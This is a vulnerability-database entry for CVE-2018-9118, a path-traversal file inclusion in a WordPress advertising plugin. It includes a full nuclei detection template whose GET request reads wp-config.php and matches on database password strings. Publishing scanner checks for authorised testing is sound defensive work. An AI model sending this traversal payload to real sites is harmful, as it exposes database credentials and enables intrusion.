HexBrain

Browse / CVEs / CVE-2018-9118

CVE-2018-9118· 99robots / wp background takeover advertisements· CWE-22

WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion

highseverity
7.5CVSS score
46.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress 99 Robots WP Background Takeover Advertisements 4.1.4 is susceptible to local file inclusion via exports/download.php.

Impact

This vulnerability can lead to unauthorized access to sensitive files on the server, potentially exposing sensitive information or allowing for further exploitation.

Fix

Upgrade to 4.1.15.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" and "DB_HOST" and "The base configurations of the WordPress"

Run it with nuclei: nuclei -id CVE-2018-9118 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-9118

info:
  name: WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress 99 Robots WP Background Takeover Advertisements 4.1.4 is susceptible to local file inclusion via exports/download.php.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files on the server, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade to 4.1.15.
  reference:
    - https://www.exploit-db.com/exploits/44417
    - https://wpvulndb.com/vulnerabilities/9056
    - https://99robots.com/docs/wp-background-takeover-advertisements/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9118
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-9118
    cwe-id: CWE-22
    epss-score: 0.46293
    epss-percentile: 0.98825
    cpe: cpe:2.3:a:99robots:wp_background_takeover_advertisements:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: 99robots
    product: wp_background_takeover_advertisements
    framework: wordpress
  tags: cve2018,cve,edb,wordpress,wp-plugin,lfi,traversal,wp,99robots,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from